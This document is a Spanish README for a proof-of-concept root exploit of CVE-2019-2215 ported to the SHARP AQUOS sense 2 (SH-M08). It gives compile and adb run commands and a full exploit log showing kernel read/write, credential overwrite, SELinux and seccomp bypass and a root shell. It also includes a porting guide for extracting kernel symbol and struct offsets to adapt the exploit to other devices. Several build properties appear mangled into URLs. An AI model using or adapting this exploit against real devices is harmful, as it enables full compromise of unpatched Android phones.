Esta es una versión para AQUOS sense 2(SH-M08) del código de prueba de concepto que obtiene privilegios root en dispositivos Android con parches de seguridad anteriores a octubre de 2019.

Entorno de ejecución

Se ha confirmado el funcionamiento con las siguientes versiones del SO. Si desea ejecutarlo en otras versiones u otros modelos, realice el port siguiendo la sección «Método de portado».

[ro.build.date]: [2019年  3月 20日 水曜日 04:58:03 JST]
[ro.build.description]: [Anasui-user 8.1.0 S3200 01.00.02 release-keys]
[ro.build.display.id]: https://raw.githubusercontent.com/mouseos/cve-2019-2215_sh-m08/HEAD/%5B01.00.02%5D
[ro.build.fingerprint]: https://raw.githubusercontent.com/mouseos/cve-2019-2215_sh-m08/HEAD/%5BSHARP/SH-M08/SH-M08:8.1.0/S3200/01.00.02:user/release-keys%5D
[ro.build.id]: https://raw.githubusercontent.com/mouseos/cve-2019-2215_sh-m08/HEAD/%5BS3200%5D
[ro.build.product]: https://raw.githubusercontent.com/mouseos/cve-2019-2215_sh-m08/HEAD/%5BAnasui%5D

Método de compilación

aarch64-linux-android21-clang -pie poc.c -o poc

Obtención de root temporal

$ adb push poc /data/local/tmp
$ adb shell

SH-M08:/ $ /data/local/tmp/poc shell
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: Finished write to FIFO.
writev() returns 0x2000
PARENT: Finished calling READV
current_ptr == 0xffffffc0617bb800
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
recvmsg() returns 49, expected 49
should have stable kernel R/W now :)
current->mm == 0xffffffc0a8e1f840
current->mm->user_ns == 0xffffff8009e225d8
kernel base is 0xffffff8008280000
&init_task == 0xffffff8009e16000
init_task.cred == 0xffffff8009e23dd0
init->cred
00000000  04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000030  ff ff ff ff 3f 00 00 00 ff ff ff ff 3f 00 00 00  |....?.......?...|
00000040  ff ff ff ff 3f 00 00 00 00 00 00 00 00 00 00 00  |....?...........|
00000050  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000060  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000070  00 00 00 00 00 00 00 00 80 35 3e 5a c0 ff ff ff  |.........5>Z....|
00000080  70 25 e2 09 80 ff ff ff d8 25 e2 09 80 ff ff ff  |p%.......%......|
00000090  78 3e e2 09 80 ff ff ff 00 00 00 00 00 00 00 00  |x>..............|
000000a0  00 00 00 00 00 00 00 00 a7 01 00 00 00 00 00 00  |................|
000000b0  e0 ff ff ff 0f 00 00 00 88 3e e2 09 80 ff ff ff  |.........>......|
000000c0  88 3e e2 09 80 ff ff ff 84 c9 0c 08 80 ff ff ff  |.>..............|
current->cred == 0xffffffc0a9b549c0
Starting as uid 2000
current->cred
00000000  19 00 00 00 d0 07 00 00 d0 07 00 00 d0 07 00 00  |................|
00000010  d0 07 00 00 d0 07 00 00 d0 07 00 00 d0 07 00 00  |................|
00000020  d0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000040  c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000050  00 00 00 00 00 00 00 00 00 af 0f aa c0 ff ff ff  |................|
00000060  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000070  00 00 00 00 00 00 00 00 00 91 bf 36 c0 ff ff ff  |...........6....|
00000080  80 ce db a4 c0 ff ff ff d8 25 e2 09 80 ff ff ff  |.........%......|
00000090  80 14 f8 a4 c0 ff ff ff 00 00 00 00 00 00 00 00  |................|
000000a0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
000000b0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
000000c0  c0 40 b5 a9 c0 ff ff ff 00 00 00 00 00 00 00 00  |.@..............|
00000000  00 00 00 00 00 00 00 00 fe ff ff ff ff ff ff ff  |................|
00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
init->security_cred
00000000  01 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00  |................|
00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
current->security_cred
00000000  ee 03 00 00 ee 03 00 00 00 00 00 00 00 00 00 00  |................|
00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
Escalating...
UIDs changed to root!
Capabilities set to ALL
SELinux status = 0
SELinux is already in permissive mode
Re-joining the init mount namespace...
Re-joining the init net namespace...
SECCOMP is already disabled!
------------------
00000000  1b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000030  ff ff ff ff 3f 00 00 00 ff ff ff ff 3f 00 00 00  |....?.......?...|
00000040  ff ff ff ff 3f 00 00 00 00 00 00 00 00 00 00 00  |....?...........|
00000050  00 00 00 00 00 00 00 00 00 af 0f aa c0 ff ff ff  |................|
00000060  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000070  00 00 00 00 00 00 00 00 00 91 bf 36 c0 ff ff ff  |...........6....|
00000080  80 ce db a4 c0 ff ff ff d8 25 e2 09 80 ff ff ff  |.........%......|
00000090  80 14 f8 a4 c0 ff ff ff 00 00 00 00 00 00 00 00  |................|
000000a0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
000000b0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
000000c0  c0 40 b5 a9 c0 ff ff ff 00 00 00 00 00 00 00 00  |.@..............|
Spawning shell!
SH-M08:/ #

Método de portado

Obtener el binario del kernel

Obtenga el kernel que se está ejecutando actualmente en el dispositivo. Hay dos métodos:

Extraer de la OTA Si la actualización OTA incluye boot.img o recovery.img, obtenga el kernel de ahí. Asegúrese de que el archivo sea el mismo que el de la versión que está usando actualmente. También es posible extraer la OTA de Google con la siguiente herramienta: https://github.com/mouseos/android-checkin-py.git Desde boot.img, por ejemplo, se puede extraer zImage con abootimg. zImage se puede convertir a vmlinux con extract-vmlinux.
Compilar el kernel Compile el código fuente del kernel publicado oficialmente. Utilice exactamente el mismo defconfig que el del dispositivo en uso. En la medida de lo posible, no modifique el código durante la compilación. Una vez finalizada la compilación, debería generarse vmlinux.

Extraer los offsets necesarios

Primero, busque los siguientes offsets con el comando nm:

$ nm -n ./vmlinux | grep ' _head$'
ffffff8008080000 t _head
$ nm -n ./vmlinux | grep ' init_user_ns$'
ffffff8009c225d8 D init_user_ns
$ nm -n ./vmlinux | grep ' init_task$'
ffffff8009c16000 D init_task
$ nm -n ./vmlinux | grep ' init_uts_ns$'
ffffff8009c15dc0 D init_uts_ns
$ nm -n ./vmlinux | grep ' selinux_enforcing$'
ffffff8009de2000 D selinux_enforcing

Calcule las constantes con la siguiente fórmula: {valor del offset}-{valor de _head} Por ejemplo, en el caso anterior, las constantes quedan de la siguiente manera:

#define SYMBOL__init_user_ns 0x1BA25D8
#define SYMBOL__init_task 0x1B96000
#define SYMBOL__init_uts_ns 0x1B95DC0

#define SYMBOL__selinux_enforcing 0x1D62000

A continuación, busque los offsets de las estructuras con el comando pahole:

$ pahole -C task_struct vmlinux | grep -E ' mm;'
        struct mm_struct *         mm;                   /*  1336     8 */

1336 en hexadecimal es 0x538

Por lo tanto, #define OFFSET__task_struct__mm 0x538

$ pahole -C task_struct vmlinux | grep -E ' cred;'
        const struct cred  *       cred;                 /*  1944     8 */

1944 en hexadecimal es 0x798

Por lo tanto, #define OFFSET__task_struct__cred 0x798

$ pahole -C mm_struct vmlinux | grep ' user_ns;'
        struct user_namespace *    user_ns;              /*   752     8 */

752 en hexadecimal es 0x2F0

Por lo tanto, #define OFFSET__mm_struct__user_ns 0x2F0

Solución de problemas

pahole: el archivo 'vmlinux' no tiene información de tipos compatible

$ pahole vmlinux
libbpf: failed to find '.BTF' ELF section in vmlinux
pahole: file 'vmlinux' has no supported type information.

vmlinux no contiene la información necesaria para que pahole lo analice. En este caso no se puede analizar, así que use un kernel que haya compilado usted mismo a partir de las fuentes publicadas por el fabricante.

El dispositivo se bloquea

Algún offset es incorrecto.

No funciona

No funciona en SO con parches de seguridad de octubre de 2019 o posteriores.

Créditos

qu1ckr00t

Este código se desarrolla a partir del POC creado por Grant H. https://github.com/grant-h/qu1ckr00t

cve-2019-2215_SH-M08

Más Populares

SYMBOL__init_user_ns	0xffffff8009c225d8	0x1BA25D8
SYMBOL__init_task	0xffffff8009c16000	0x1B96000
SYMBOL__init_uts_ns	0xffffff8009c15dc0	0x1B95DC0
SYMBOL__selinux_enforcing	0xffffff8009de2000	0x1D62000